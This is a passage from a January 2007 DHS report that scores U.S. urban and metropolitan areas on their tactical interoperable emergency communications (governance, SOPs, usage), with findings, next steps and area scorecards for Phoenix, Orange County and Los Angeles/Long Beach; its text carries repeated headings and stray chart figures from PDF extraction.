documentation provided for the urban/metropolitan areas. Through a facilitated process, the review panels arrived at consensus results, findings, and recommendations for each area. The resulting scorecards will be shared with and can be used by each area to support future investment justifications for improvements to regional interoperable communications. Scorecard Documentation Reference Document Description TICP Communications Plan required by all urban/metropolitan areas under FY 2005 grant guidance TICP Peer Review Comments of state and local peers assigned to review each TICP Exercise Evaluation Guide Comprehensive data from evaluation teams assigned to each TICP Validation Exercise After Action Report Major findings from each TICP Validation Exercise Improvement Plan Recommendations to areas on addressing gaps identified during the TICP Validation Exercise Self Assessment Discussion Guide Responses to questions addressing any tactical interoperability issues not covered by the TICP and/or exercise Benefits and Results for Urban/Metropolitan Areas Benefits and Results for Urban/Metropolitan Areas Benefits and Results for Urban/Metropolitan Areas Benefits and Results for Urban/Metropolitan Areas In addition to providing a specific maturity assessment, the scorecard provides recommendations to help the urban/metropolitan area improve its overall communications capability. Technical assistance provided to each urban/metropolitan area can then be tailored to address the recommendations identified in its scorecard. Whether the area The quickest way to achieve a meaningful improvement in interoperable communications capabilities is to focus on a strong governance structure, establish and maintain SOPs, and ensure that solutions are used regularly and effectively. Core Components of a TICP Core Components of a TICP Core Components of a TICP Core Components of a TICP The TICP for an urban/metropolitan area identifies specific problems, needs, and barriers to communications among the area’s agencies and disciplines. The plan identifies potential partners and their roles and responsibilities. It inventories the area’s communications resources and details how those resources would be used to provide fast, on-scene, mission-critical voice communications among all first-responder agencies. The plan must specify a level of communication appropriate for the incident and complies with the incident command system defined in the National Incident Management System (NIMS) model. Urban/Metropolitan Area 7 January 2007 Tactical Interoperable Communications Scorecards assessed received a lower or higher score, the recommendations provided, as well as future assistance goals, will serve as a foundation to ensure continued enhancements to all interoperable communications capabilities nationwide. Element Early Maturity Indicates the Need for… Advanced Maturity Indicates the Need for… Governance Strategic plans to identify longer-term interoperability goals and decisions Regionally based, longer-term strategies to coincide with statewide planning SOPs Training on policies, procedures, and command and control Continued exercises for NIMS proficiency and increased involvement of state and federal agencies Usage More regular testing and exercise on how to use interoperability equipment across the region Continued exercises on interoperability equipment with additional expanded participation Urban/Metropolitan Area 8 January 2007 Tactical Interoperable Communications Scorecards PRELIMINARY PRELIMINARY PRELIMINARY PRELIMINARY SCORECARD FINDINGS SCORECARD FINDINGS SCORECARD FINDINGS SCORECARD FINDINGS The scorecards represent the culmination of volumes of data that have been analyzed to identify interoperable communications trends, best practices, and other insights useful in guiding both the urban/metropolitan areas and DHS programs. Although more analysis will be necessary, the following sections represent the key general trends and specific findings across the Interoperability Continuum elements. General Scorecard Trends General Scorecard Trends General Scorecard Trends General Scorecard Trends Analysis of the scorecard results provides information that is beneficial to DHS as it improves the assistance provided to state and local agencies. Two common trends across all areas include 1) areas developing and/or using shared systems tended to demonstrate more mature governance structures, SOPs, and usage; and 2) areas that diversified their funding sources to address sustained interoperability tended to also have stronger governance structures in place. General scorecard findings across all types of areas (i.e., urban and metropolitan) are presented below. Overall Scorecard Trends Overall Scorecard Trends Overall Scorecard Trends Overall Scorecard Trends • Policies for interoperable communications are now in place in all 75 urban/metropolitan areas. • Regular testing and exercises are needed to effectively link disparate systems to allow communications between multi-jurisdictional responders (including State and Federal) during crisis. • The DHS Tactical Interoperable Communications Initiative has played a fundamental role in advancing interoperability in the urban/metropolitan areas. • Cooperation among first responders in the field is strong, but formalized governance (leadership and planning) across regions has lagged. Governance will be critical in planning for larger-scale, multi- jurisdictional responses and implementation of next-generation technology. • Areas that were part of the FY 2005 UASI Grant Program tended to demonstrate greater traction in strategic planning across the region. • Areas that had a history of multijurisdictional cooperation because of prior incidents demonstrated stronger SOPs and Usage. • Many of the exercises were more complicated in terms of the number and type of participating agencies; this provided more insight into the breadth of the SOPs and the depth of Usage; areas with less complicated exercises and fewer participants scored higher in Usage because the events required less coordination. • Areas that were empowered to develop a TICP based on a “bottom-up” approach of a collaborative, regional nature scored higher in Governance than those areas in which a “top-down” state-centric approach was used. Urban/Metropolitan Area 9 January 2007 Tactical Interoperable Communications Scorecards Governance Findings Governance Findings Governance Findings Governance Findings Governance measures the maturity of five basic elements critical to a successful and established governance structure: 1) Decision Making Groups, 2) Agreements, 3) Strategic Planning, 4) Interoperability Funding, and 5) Leadership. Governance Finding 1—Informal cooperation among multi-agency first responders often precedes a formalized and established regional governance structure: While many urban/metropolitan areas are at the Intermediate and Established levels of maturity in their regional governance and planning efforts, the first responders and public safety organizations within the region often had been informally cooperating for years. Because of the lack of formal documentation of these relationships, “Governance” results tended to lag significantly behind “Usage” in the scorecards. Governance Finding 2—Areas with pre-existing DHS Urban Area Working Groups were more likely to have a Regional Communications Committees: More than 75 percent of DHS-funded urban areas have developed regional communications committees to address the issue of communications interoperability. While some of these committees focus specifically on the use of federal grant funding for interoperability, others have developed a broader mandate to address other communications interoperability issues across the region (beyond the scope of federal grants). Among metropolitan areas, just under half have developed formal committees. In cases in which the states had strong governance structures, metropolitan areas tended to align their decision making bodies and strategies with the statewide efforts. As indicated by the overall governance results for both urban and metropolitan areas, a communications committee represents a critical step in regional interoperability oversight. However, the groups are not consistently supported by their jurisdictions in efforts to put formal agreements in place, develop strategic plans (including funding strategies), and influence interoperable communications policy and funding decisions. Governance Finding 3—Governance is a good indicator of the existence of advanced technology, more mature SOPs, and more proficient usage because it provides the foundation for communications interoperability: In the urban/metropolitan areas that did have a formalized and established governance structure, the first responders and public safety organizations were able to demonstrate a higher level of proficiency in interoperable communications equipment usage and generally had more mature SOPs, which were accepted and practiced. This proficiency may be, in part, a result of the larger, more seamless shared Governance Governance Governance Governance————What it Means What it Means What it Means What it Means • A strategic plan is in place to identify longer-term interoperability goals • Leadership prioritizes interoperability • Various funding streams (in addition to federal grants) promote interoperability 0 5 10 15 20 25 Number of Areas Early Intermediate Established Advanced Governance Metropolitan Urban Urban/Metropolitan Area 10 January 2007 Tactical Interoperable Communications Scorecards systems that more closely correlate with an established regional governance structure. This correlation is based on the fact that areas with shared systems must have developed and adopted consensus requirements, funding strategies, and longer term agreements to support mutual system use. Governance Finding 4— Few urban/metropolitan areas have completed a strategic plan for regional interoperable communications: Beyond the operational policies of the TICP or the broad scope to the Urban Area Homeland Security Strategies, few urban/metropolitan areas have developed strategic plans specifically for regional interoperable communications (including sustainable funding plans). In cases where strategic planning processes had begun, it was often noted in the documentation that the region was developing a plan completely separate from the operational focus of the TICP. Example of Highest and Lowest Governance Maturity for an Urban Area Advanced Implementation Early Implementation • 9 of the urban/metropolitan areas received “advanced implementation” in Governance • A Communications Committee has been in place for many years and has evolved with new requirements like the TICP • A strategic interoperability plan is in place and accepted by all agencies • Funding decisions are made on a region- wide basis and have been diversified beyond Federal grants • 3 of the urban/metropolitan areas received “early implementation” in Governance • Governance is divided between the city and county, which affects all aspects of interoperability planning • The region formed two separate working groups for the development of the TICP – One for the city, the other for the county • There is no strategic interoperability plan for the region Strategic Planning Efforts 58% 18% 24% No Plan/Plan Under Development Plan Developed but not yet Adopted Plan Developed and Adopted Urban/Metropolitan Area 11 January 2007 Tactical Interoperable Communications Scorecards Standard Operating Procedures (SOP) Findi Standard Operating Procedures (SOP) Findi Standard Operating Procedures (SOP) Findi Standard Operating Procedures (SOP) Findings ngs ngs ngs Evaluating the level of maturity across SOPs required attention to two topics: 1) communications policies, practices, and procedures, and 2) command and control. SOP Finding 1— The TICP provided the first regionwide equipment SOP for many areas: Through the development of the DHS-required TICP, virtually every urban/metropolitan area has instituted a consensus, regional process for the request, activation, and use of interoperable communications equipment. The most common multi-agency equipment SOPs before the TICP were primarily intended for the users of shared systems. A number of areas also cited gateway SOPs, which were developed under previous federal efforts such as the Department of Justice “25 Cities” project. Overall, relatively few state and federal responder agencies are covered by the areas’ SOPs, indicating that more should be done to ensure that these groups are participating in the development and implementation of procedures. SOP Finding 2—The majority of areas have taken steps to disseminate their equipment SOPs throughout the region: Regional communications equipment SOPs developed by the urban/metropolitan areas are being disseminated in a number of ways, including distribution to dispatch centers, storing applicable SOPs with gateways and radio caches, and developing training courses on SOPs for agencies included in the area. Preparation for the TICP validation exercise appeared to have been the major stimulus for SOP training, with more than half the urban/metropolitan areas participating in ICTAP “Tactical Plan Implementation Workshops” in the weeks leading to their exercises. However, in most areas, the short period of time between the completion of the TICP and the exercise deadline made it difficult to have fully circulated, new SOPs at the “line” responder level. As a result, only one third of the areas were fully successful in following their prescribed equipment SOPs. SOPs SOPs SOPs SOPs————What it Means What it Means What it Means What it Means • Policies and procedures exist to support interoperable communications during incident response • Command and control (NIMS/ICS) is used to effectively coordinate incident communications 0 5 10 15 20 25 Number of Areas Early Intermediate Established Advanced Standard Operating Procedures Urban Metropolitan Urban/Metropolitan Area 12 January 2007 Tactical Interoperable Communications Scorecards SOP Finding 3—Ninety-seven percent of urban/metropolitan areas report that they are in the process of implementing NIMS; however less than half of these agencies have had these command and control policies instituted for more than 1 year: Two out of three urban/metropolitan areas were determined to have achieved “Intermediate” maturity in the implementation of NIMS/ICS command and control procedures. This was based not only on the length of time that these SOPs had been in place in the region, but also the demonstrated level of proficiency in the TICP validation exercise. Exercise findings indicate that maturity in the use of NIMS varies by responder discipline, with fire agencies showing more aptitude in the use of these response procedures. SOP Finding 4—A NIMS Certified Communications Unit Leader Course is needed to improve proficiency in fulfilling the responsibilities of the communications unit during incident response: As evaluated in the TICP validation exercise, areas were encouraged to implement the Communications Unit Leader (COML) position in their incident response. However, although DHS provided core competencies on the position and ICTAP developed an overview course on COML duties, formal training, and a certification program are not yet available. As a result, only 16 percent of the areas were able to implement the COML position without difficulties during the exercises. Of those areas that were successful, all but one were designated as urban areas, which could indicate the possibility that dedicated UASI funds were used to allow personnel to participate in the National Wildland Fire’s discipline-specific training course for COML (the only course of its kind that is currently available to first responders). Example of Highest and Lowest SOP Maturity for an Urban Area Advanced Implementation Intermediate Implementation • 10 of the urban/metropolitan areas received “advanced implementation” in SOPs • SOPs have been in place for many years and were regionally developed • SOPs were enhanced/updated through TICP including extensive inventory • NIMS has been in place for more than 1 year • Policies were effectively followed during exercise • All of the urban/metropolitan areas received at least “intermediate implementation” in SOPs (14 areas received “intermediate implementation”) • SOPs were largely informal prior to the TICP • The TICP is a compilation of agency policies as opposed to one consensus SOP • Few steps have been taken to implement/train on new SOPs • NIMS is still being implemented and was problematic during the exercise 10% 10%15% 15% NIMS/ICS Implementation 29% 29% 42% In Process More than 6 months ago More than 1 year ago Urban/Metropolitan Area 13 January 2007 Tactical Interoperable Communications Scorecards Usage Find Usage Find Usage Find Usage Findings ings ings ings Usage was measured by examining the familiarity with and frequency that interoperable communications equipment was used during the TICP validation exercise. Usage Finding 1— Sixty-eight percent of the urban/metropolitan areas effectively established regional interoperability: While every urban/metropolitan area evaluated was able to use some level of multi-agency interoperability as part of an incident response, multijurisdictional communications necessary to support a tactical response was successfully demonstrated by more than 60 percent of the urban/metropolitan areas. Of these areas, one-half (21 percent overall) demonstrated the seamless use of all types of interoperability equipment (e.g., cache radios, gateways, shared channels and shared systems) to provide communications for not only regional responders, but also state and federal personnel. Frequently, the remaining successful areas encountered problems with at least one type of equipment, but were still able to achieve interoperability through the use of backup measures or the rapid resolution of the problem. And in other cases, areas were able to show success, but the limited scope of the TICP validation exercise prevented demonstration of seamless interoperable communications capabilities. Usage Finding 2—More than 80 percent of urban/metropolitan areas use shared systems and/or shared channels daily to provide communications interoperability: Multi-agency interoperability occurs on a daily basis using talk groups on trunked systems and/or conventional shared channels in most urban/metropolitan areas. This method of interoperability was successfully used in almost every TICP validation exercise. However, within a single urban/metropolitan area, the total number of shared systems could be more than a dozen, often operating across disparate frequency bands and/or comprising different proprietary components. Problems with radio channel configuration and nomenclature were the most common issues encountered with the use of this form of interoperable communications solution. Usage Finding 3—The most common equipment usage problems during the TICP validation exercises related to mobile gateways: Gateway devices were the most common method used to connect responders operating on disparate systems during the TICP validation exercise. In many areas, this was accomplished using a console patch or fixed gateway system. However, when mobile gateways were deployed during the exercises, responders often Usage Usage Usage Usage————What it What it What it What it Means Means Means Means • How well can response agencies use their existing interoperable equipment in multi-jurisdictional response • How regularly is interoperable equipment used 0 5 10 15 20 25 Number of Areas Early Intermediate Established Advanced Usage Urban Metropolitan Urban/Metropolitan Area 14 January 2007 Tactical Interoperable Communications Scorecards encountered problems. Evaluators reported a lack of technical familiarity with mobile gateways in a number of exercises, which is consistent with the fact that frequency of gateway use (particularly mobile gateways) varies greatly across urban/metropolitan areas. Usage Finding 4—Urban/metropolitan areas can build on the success of their TICP validation exercise by expanding future training scenarios to focus on communications capabilities: For the majority of urban/metropolitan areas, the required TICP validation exercise was the first time that the area had participated in a test designed specifically for communications. This fact, coupled with the aggressive timeline, led some urban/metropolitan areas to minimize the scope of their exercises. While the exercises that resulted were sufficient to demonstrate communications interoperability, most were not large enough to test critical aspects of a real-world response (e.g., system loading). Example of Highest and Lowest Usage Maturity for an Urban Area Advanced Implementation Intermediate Implementation • 10 of the urban areas received “advanced implementation” in Usage • Interoperability across disparate systems is achieved on a daily basis in the region • The use of regional equipment by local, state, and federal agencies in the TICP validation exercise was described by the evaluators as “exemplary” • All of the urban areas received at least “intermediate implementation” in Usage (13 areas received “intermediate implementation”) • Exercise demonstrated that “some participants have not had sufficient practice in the use of the equipment” • Limited local involvement in exercise • State and Federal agencies were not involved in the exercise 10% 10%15% 15% Urban/Metropolitan Area 15 January 2007 Tactical Interoperable Communications Scorecards NEXT STEPS FOR FY NEXT STEPS FOR FY NEXT STEPS FOR FY NEXT STEPS FOR FY 2007 2007 2007 2007 DHS will continue to align its programs and resources to best address the communications needs of first responders. Accomplishing this feat will require a coordinated DHS effort to provide increased resources and assistance to states and localities to empower greater communications interoperability across broader regions. Focus on five priority efforts will support this goal: • FY 2007 Grant Programs: The FY 2007 Homeland Security Grant Program (HSGP) and Infrastructure Protection Program will both encourage interoperable communications as a program focus area. • Completed Communications Unit Leader (COML) Training: DHS will complete and release the criteria for COML training to ensure that public safety agencies have clearer guidance on the COML role in incident response. • Improvement Plans/Scorecard Recommendations: DHS ICTAP is developing, and will deliver during FY 2007, technical assistance to address the most prevalent gaps identified through the Tactical Interoperable Communications exercises. • Best Practices/Lessons Learned: A compendium of all best practices and lessons learned from the TICP validation exercises will be provided to each urban/metropolitan area. Contacts for each area will be provided to encourage peer-to-peer “cross-pollination” of practices. • Statewide Plans: Urban/metropolitan areas will be asked to play an active role in the development of Statewide Interoperable Communications Plans as required by December 31, 2007, in the FY 2006 HSGP. Conclusion Conclusion Conclusion Conclusion The scorecard results show that urban/metropolitan areas have come a long way in developing their tactical interoperable communications capabilities. As documented in the SAFECOM Baseline Assessment, technology exists to permit interoperable communications, but solutions are often not available regionally and are far from seamless in many areas. Therefore, continued training and use of available technical solutions and their SOPs are critical to operational success. In areas that have demonstrated success at the tactical, command-level of communications interoperability, there is still work to be done. Multi-agency communications has been addressed within many of these jurisdictions, but regionalizing the existing communications strategies to identify longer term interoperability goals across multiple jurisdictions and levels of government still needs to be addressed. Urban/Metropolitan Area A-1 January 2007 Tactical Interoperable Communications Scorecards APPENDIX APPENDIX APPENDIX APPENDIX A A A A: Urban Area Score : Urban Area Score : Urban Area Score : Urban Area Scorecard card card cardssss The tables included in this appendix outline the results developed for Standard Operating Procedures (SOP), Usage, and Governance for the 48 urban areas that developed and exercised TICPs. The results represent the summary assessment of each Continuum element taking into account critical “sub-elements” identified in the Interoperability Maturity Measurement Model developed as part of the SAFECOM National Baseline Assessment. The Baseline approach to defining the aspects of communications interoperability was leveraged to ensure consistency in the measurement models applied to various Department of Homeland Security (DHS) initiatives. In the case of SOPs, the sub-elements include: 1) policies, practices, and procedures and 2) command and control. Usage focuses on the frequency of use and familiarity with interoperability solutions. Governance focuses on five core sub-elements including: 1) decision- making groups, 2) agreements, 3) strategic planning, 4) interoperability funding, and 5) leadership. Each score can be defined as early, intermediate, established, or advanced implementation of the given element. Below, general definitions for each score are provided. First responders regularly and seamlessly utilize interoperability solutions. The region demonstrated successful multi-agency communications during exercise(s), including state, federal and support organizations. First responders use interoperability solutions regularly and easily. The region demonstrated successful multi-agency (which may have included state, federal, and support organizations) communications during exercise(s). First responders use interoperability solutions regularly and demonstrated the ability to achieve multi- agency communications despite some challenges during exercise(s). Interoperable communications solutions are rarely used for multi- agency communication and difficulties were encountered in achieving interoperability during exercise(s). Usage Regional SOPs, reviewed through the TICP process, are in place and regularly used by included agencies. NIMS procedures are well established among all agencies and disciplines. All procedures were effectively utilized during exercise(s). Existing regional SOPs were reviewed and included in the TICP, and are in use by included agencies. NIMS- compliant command and control has been instituted by all agencies and disciplines in the region. Despite minor issues, all SOPs were successfully demonstrated during exercise(s). Some existing SOPs were incorporated in the TICP and steps have been taken to institute these interoperability procedures among included agencies. Formal NIMS/ICS procedures are in place, but understanding varies among agencies leading to some issues during the exercise(s). Region-wide SOPs were developed and formalized for the first time through the TICP, but have not been disseminated to all included agencies. Some elements of NIMS/ICS procedures for command and control are in place, but understanding varies among agencies and was an area of difficulty during exercise(s). Standard Operating Procedures (SOP) Decision making bodies proactively look to expand membership to ensure representation from broader public support disciplines and other levels of government, while updating their agreements and strategic plan on a regular basis. Formal agreements outline the roles and responsibilities of a decision making group, which has an agreed upon strategic plan that addresses sustainable funding for collective, regional interoperable communications needs. Some formal agreements exist and informal agreements are in practice among members of a decision making group; regional strategic and budget planning processes are beginning to be put in place. Decision making groups are informal, and do not yet have a strategic plan in place to guide collective communications interoperability goals and funding. Governance Advanced Implementation Established Implementation Intermediate Implementation Early Implementation Elements First responders regularly and seamlessly utilize interoperability solutions. The region demonstrated successful multi-agency communications during exercise(s), including state, federal and support organizations. First responders use interoperability solutions regularly and easily. The region demonstrated successful multi-agency (which may have included state, federal, and support organizations) communications during exercise(s). First responders use interoperability solutions regularly and demonstrated the ability to achieve multi- agency communications despite some challenges during exercise(s). Interoperable communications solutions are rarely used for multi- agency communication and difficulties were encountered in achieving interoperability during exercise(s). Usage Regional SOPs, reviewed through the TICP process, are in place and regularly used by included agencies. NIMS procedures are well established among all agencies and disciplines. All procedures were effectively utilized during exercise(s). Existing regional SOPs were reviewed and included in the TICP, and are in use by included agencies. NIMS- compliant command and control has been instituted by all agencies and disciplines in the region. Despite minor issues, all SOPs were successfully demonstrated during exercise(s). Some existing SOPs were incorporated in the TICP and steps have been taken to institute these interoperability procedures among included agencies. Formal NIMS/ICS procedures are in place, but understanding varies among agencies leading to some issues during the exercise(s). Region-wide SOPs were developed and formalized for the first time through the TICP, but have not been disseminated to all included agencies. Some elements of NIMS/ICS procedures for command and control are in place, but understanding varies among agencies and was an area of difficulty during exercise(s). Standard Operating Procedures (SOP) Decision making bodies proactively look to expand membership to ensure representation from broader public support disciplines and other levels of government, while updating their agreements and strategic plan on a regular basis. Formal agreements outline the roles and responsibilities of a decision making group, which has an agreed upon strategic plan that addresses sustainable funding for collective, regional interoperable communications needs. Some formal agreements exist and informal agreements are in practice among members of a decision making group; regional strategic and budget planning processes are beginning to be put in place. Decision making groups are informal, and do not yet have a strategic plan in place to guide collective communications interoperability goals and funding. Governance Advanced Implementation Established Implementation Intermediate Implementation Early Implementation Elements It should be noted that many of the urban areas have progressed in developing interoperable communications capabilities past the point at which the information for the scorecards was collected. DHS recognizes the ongoing work in each area and appreciates the participation that areas had in providing feedback and comments to their scorecards. To the extent possible, comments were incorporated into the scorecards included in this appendix. 10%5% 5% 5% 10% 10%15% 15% 15% 20% 20% 20% Urban/Metropolitan Area A-2 January 2007 Tactical Interoperable Communications Scorecards Phoenix, AZ Tactical Interoperable Communications Scorecard Summary Summary Summary Summary Governance: Intermediate Implementation Standard Operating Procedures: Established Implementation Usage: Established Implementation The Phoenix Urban Area (UA) includes the counties of Maricopa and Pinal and the major cities of Phoenix, Mesa, Scottsdale, Glendale, Tempe, Chandler, Gilbert, and Peoria. Smaller communities included in the UA are Goodyear, Fountain Hills, Litchfield Park, Anthem, Sun Lakes, Sun City, Sun City West, Surprise, and Tolleson. Governance: Intermediate Implementation 10% 10%15% 15% The Phoenix UA is beginning to establish communications interoperability as a priority in the area as demonstrated by the consideration for interoperability included in equipment procurement. The UA established the Interoperability Subcommittee in April 2005 to support the development of the Tactical Interoperable Communications Plan (TICP), as well as overall communications coordination. The formation of this governance group represents a positive first step in formalizing attention to communications interoperability issues. It was unclear whether a charter exists for the Interoperability Subcommittee, although the group has voting rights, which indicates a level of formality. An oversight group formed as a part of the Department of Justice (DoJ) 25 Cities project is planned to be folded into the Interoperability Subcommittee to improve coordination and efficiency of governance groups since the two groups include many of the same members. The regional agencies have some formal agreements (e.g., DoJ 25 Cities/high- level agreements between Phoenix and Mesa), but indicated that overall the partnerships were informal in nature. The continued development of documented agreements would support the formalization of these partnerships to ensure clear roles and responsibilities relating to communications interoperability issues and decisions. Phoenix officials indicated that they had developed a strategic plan that included broad representation from public support disciplines (e.g., public works, transportation, and 36 area hospitals). The strategic plan is fully developed, but has not yet been fully adopted and accepted by participating agencies. This strategy, as it gets adopted, can also support the prioritization of goals so that funding can be planned accordingly. Currently, interoperable communications funding is provided primarily through federal grants because there does not appear to be a specific regionwide plan for long-term interoperability funding. The Phoenix Interoperability Subcommittee participates in the state’s communication planning group, which could serve as a basis for further developing leadership relations across local and state agencies. Recommendations: • Establish charters to encourage formal membership of decision-making group (including all first responder agencies) • Continue to consolidate existing DoJ 25 Cities committee into the Urban Area Security Initiative subcommittee • Document and formalize the necessary agreements (e.g., memoranda of understanding), including local, state, federal, and tribal partnerships, to support partnerships on regional interoperability • Encourage full adoption and acceptance of the strategic plan by all participants and align local, state, and tribal strategic planning efforts to ensure that regional interoperability needs are met • Encourage development of a regional interoperability funding strategy, including the identification of long-term (e.g., 3 to 5 years) funding sources (in addition to grants) 10% 10%15% 15% 15% 20% 20% 20% 15% 20% 20% 20% Urban/Metropolitan Area A-3 January 2007 Tactical Interoperable Communications Scorecards • Consider the direct involvement of a high-level official, with political and fiscal authority, to champion communications interoperability across the area • Establish a direct line of communication for the Interoperability Subcommittee to advocate with political and fiscal leaders at local and state levels Standard Operating Procedures (SOP): Established Implementation 15% 20% 20% 20% The Phoenix UA incorporated existing policies and procedures (e.g., 800 megahertz [MHz] shared system SOPs and mutual aid channels SOPs as well as those developed as part of the DoJ 25 Cities Project) into the TICP, providing a solid basis for implementing the SOPs across the area. These policies and procedures have been actively disseminated since the TICP completion (e.g., distributed to all included organizations, distributed at TICP Implementation Workshop). The UA has scheduled upcoming technician and Communications Unit Leader (COML) training during which SOPs will be taught. The National Incident Management System (NIMS)/Incident Command System (ICS) has been in place for less than 1 year, which implies that the UA is still in the earlier stages of implementing NIMS/ICS policies and procedures. Despite the short period of time in which NIMS/ICS procedures have been in place, with few exceptions (e.g., unified command designation was not formally communicated), they were successfully demonstrated during the TICP validation exercise (e.g., two COMLs were identified and announced to all exercise participants). Recommendation: • Continue basic and advanced training and exercises on SOPs (include communications unit implementation consistent with the TICP) to ensure that all participating first responder agencies attain and maintain NIMS/ICS compliance Usage: Established Implementation 15% 20% 20% 20% The Phoenix shared system is used daily, and the UA tests its gateways three times each day to ensure familiarity with their use. The TICP validation exercise successfully demonstrated the use of various types of equipment (e.g., radio caches, gateways), and minor software glitches in the use of a mobile gateway were quickly resolved. The UA’s use of a laminated card with a list of talk groups and radio operating instructions is commendable, and should be considered a best practice. Despite these demonstrated successes, the TICP validation exercise was limited to local, regional, and minimal state participants. Assessing the degree to which the local agencies in the UA can easily use interoperable communications equipment with state and federal agencies was therefore not possible. While the exercise met the stated requirements, the area is encouraged to build on its success by further integrating state, federal, tribal, and support agencies in future tests. Recommendations: • Involve private, state, federal, and tribal agencies in training and exercises • Consider adding communications interoperability as a component in all future exercises Below is a summary of the area’s existing technology used to provide communications interoperability: Technology Overview Technology Overview Technology Overview Technology Overview The Phoenix UA includes 800 MHz trunked systems and several very high frequency (VHF) conventional channels. The Phoenix/Mesa system was one of the first trunked radio systems in the country to meet the Project 25 (P25) standards. To provide interoperability between 800 MHz and VHF users, console patches and several mobile and fixed gateways are available. Currently, the City of Glendale is exploring the possibility of migrating onto the area's P25 system. Urban/Metropolitan Area A-4 January 2007 Tactical Interoperable Communications Scorecards Anaheim, CA (Combined with Santa Ana, CA) Tactical Interoperable Communications Scorecard Summary Summary Summary Summary Governance: Advanced Implementation Standard Operating Procedures: Established Implementation Usage: Established Implementation FINThe newly combined Orange County Urban Area (UA) includes the core cities of Anaheim and Santa Ana, 32 other Orange County cities, 2 state universities and the County of Orange. Governance: Advanced Implementation The Tactical Interoperable Communications Plan (TICP) was created under the authority of the Orange County Operational Area; previously established committees (e.g., 800 megahertz [MHz] Governance Committee, 800 MHz Technical Liaison Committee, Orange County Chiefs of Police and Sheriff’s Association, Orange County Fire Chief’s Association) are responsible for key decisions and recommendations relative to policy, training, exercises, compliance, establishment of special committees, and operational issues within the UA. The governance structure developed by the Orange County UA can serve as a model for other jurisdictions based on its breadth of local and state participation, frequency of meetings and reviews, and ability to address near-term needs and long-term interoperability goals. As documented in Section 2 of its TICP, there is a clear authority flow for interoperable communications decisions, which is inclusive of all local first responder organizations. The UA has proactively included multiple state and federal agencies in its interoperability solution through its Countywide Coordinated Communication System; however, the extent of the governance group’s formal interaction with federal agencies is not stated. Additionally, the Orange County UA has a regional interoperability strategic plan in place that has been accepted by all participating agencies, is reviewed annually, and can address funding if future interoperability enhancements are required. Recommendations: • Continue to seek formalized participation from and coordination with state and federal agencies in governance bodies • Continue to review and regularly update agreements (e.g., memoranda of understanding) to ensure appropriate agency participation • Continue to identify long-term (e.g., 3 to 5 years) funding sources to support interoperable communications Standard Operating Procedures (SOP): Established Implementation 15% 20% 20% 20% The policies for use of the Orange County shared system are long established and were effectively documented in Section 3 of the TICP. SOPs have been disseminated to all included agencies and dispatch centers, and distributed through the TICP Implementation Workshop. The use of these system SOPs was well demonstrated during the TICP validation exercise. The exercise did show the need for further development of gateway SOPs. The UA indicated that it has been in the process of implementing the National Incident Management System (NIMS)/Incident Command System (ICS) for less than one year, which implies that the UA is in the earlier stages of implementing NIMS/ICS policies and procedures. During the TICP validation exercise, participants demonstrated familiarity with NIMS/ICS processes (e.g., 15% 20% 20% 20% 15% 20% 20% 20% Urban/Metropolitan Area A-5 January 2007 Tactical Interoperable Communications Scorecards established and clearly announced unified command, staging area designated and entry talk group announced), but have not yet established full proficiency in these processes (e.g., no ICS Form 205 was created, plain language not used). However, as stated in the post-exercise Improvement Plan, the UA is actively pursuing improvements in the Communications Unit Leader functions pending further development of the criteria for this position. Recommendations: • Further develop SOPs for the use of gateways • Continue regularly exercising SOPs that test various scenario-based command and control procedures • Continue basic and advanced training and exercises on SOPs (include communications unit implementation consistent with the TICP) to ensure that all participating first responder agencies attain and maintain NIMS/ICS compliance Usage: Established Implementation 15% 20% 20% 20% The Orange County UA regularly conducts multi-agency responses using its shared system. The TICP validation exercise participants were able to successfully establish interoperable communications (e.g., shared systems were used effectively, dispatch maintained fully interoperable communications with all first responders). Despite demonstrated successes and although the TICP validation exercise met set standards, broader state and federal agencies were not widely included. Assessing the degree to which the local agencies in the UA can easily use interoperable communications equipment with state and federal agencies was therefore limited. The UA is encouraged to build on its success by further integrating state, federal, and support agencies in future tests. Further demonstrating fluency and familiarity with interoperable communications solutions connecting local agencies with state and federal agencies would follow through on the recommendation in the post-exercise Improvement Plan that states that “Now that excellence with intra- county communications has been demonstrated, exercise and evaluate communications links with agencies from state, federal, and outlying jurisdictions on other radio systems.” Recommendations: • Consider expanding exercises to integrate state and federal entities • Continue to expand and/or document additional methods to interoperate with state and federal agencies in the UA (e.g., Naval Weapons Station) • Consider adding communications interoperability as a component of all future exercises Below is a summary of the area’s existing technology used to provide communications interoperability: Technology Overview Technology Overview Technology Overview Technology Overview Anaheim and Santa Ana, California public safety communications are supported by the Orange County’s 800 MHz mixed-mode trunked radio system. All public safety agencies in the Orange County UA have talk groups on this system, which includes 81 channels with 400 talk groups and 16,000 radios. Given that the current radio system in Orange County provides for the highest possible level of interoperability (shared system), the next step would be to upgrade to a countywide Project 25 system. Urban/Metropolitan Area A-6 January 2007 Tactical Interoperable Communications Scorecards Long Beach, CA Tactical Interoperable Communications Scorecard Summary Summary Summary Summary Governance: Established Implementation Standard Operating Procedures: Advanced Implementation Usage: Advanced Implementation The Los Angeles (LA)/Long Beach (LB) Urban Area (UA) is a combination of two formerly separate areas—the LA UA and LB UA. The newly combined UA includes the cities of Bellflower, Beverly Hills, Carson, Compton, Culver City, Glendale, Hawaiian Gardens, Hawthorne, Inglewood, Lakewood, Long Beach, Los Angeles, Monterey Park, Paramount, Pasadena, San Fernando, Santa Monica, Signal Hill, South Pasadena, Torrance, Vernon, and West Hollywood, and portions of incorporated and unincorporated Los Angeles County. Governance: Established Implementation 15% 20% 20% 20% Governance organizations for regional communications in the LA/LB UA have supported the implementation of regional communications interoperability equipment and infrastructure in recent years. The LA/LB UA Working Group developed the Tactical Interoperable Communications Plan (TICP) as one of its first combined efforts. The LA/LB UA has demonstrated leadership through a history of successful cooperation in building and funding shared communications systems and interoperability solutions across the area. Published and active agreements in the LA/LB UA effectively facilitate communications interoperability among all regional first responder agencies. Although the UA is not yet, in its entirety, involved in strategic planning for communications interoperability goals, the UA leadership is actively planning new solutions (e.g., Project 25 [P25] system) that will expand the interoperable communications capabilities to other parts of the area. Despite the good cooperation in the area, jurisdictions perform budgeting individually (with the exception of grants), and there is no specific regionwide plan for long-term communications interoperability funding. There is also no single, well-established governance body or decision-making group that actively seeks out input from all the LA/LB UA public safety organizations. Recommendations: • Work to form one governance body that has formal authority over the newly formed combined UA, which should include input beyond county and local first responder organizations. This governance body should include state agencies, such as California Department of Transportation, California Department of Forestry and Fire Protection, and the California Highway Patrol (CHP), other transportation agencies, utilities, and appropriate federal agencies • Continue to document and adopt a regional strategic planning process beyond the operational focus of the TICP • Continue to establish a regional 